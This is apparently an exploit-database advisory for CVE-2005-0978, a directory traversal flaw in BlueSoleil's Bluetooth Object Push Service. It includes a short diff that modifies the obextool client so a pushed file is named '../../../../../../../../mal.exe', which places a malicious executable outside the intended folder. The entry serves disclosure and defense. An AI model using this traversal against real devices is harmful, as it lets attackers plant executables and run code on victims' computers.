source: http://www.securityfocus.com/bid/12961/info BlueSoleil is prone to directory traversal attacks during Bluetooth file uploads. The issue exists in the Object Push Service. This vulnerability may allow an attacker to upload malicious files to arbitrary locations on affected computers over Bluetooth. An attacker can take advantage of the issue to execute arbitrary code by uploading executables to a location on the computer where they will later be executed. @@ -316,7 +316,7 @@ } filename = argv; - alias = basename(filename); + alias = "../../../../../../../../mal.exe"; str2ba(argv, &bdaddr); channel = (argc > 3) ? atoi(argv) : 10; The modified obextool client may then be used to push a malicious file to a target computer.
Related ExploitsTrying to match CVEs (1): CVE-2005-0978
Trying to match OSVDBs (1): 15165
Other Possible E-DB Search Terms: BlueSoleil 1.4, BlueSoleil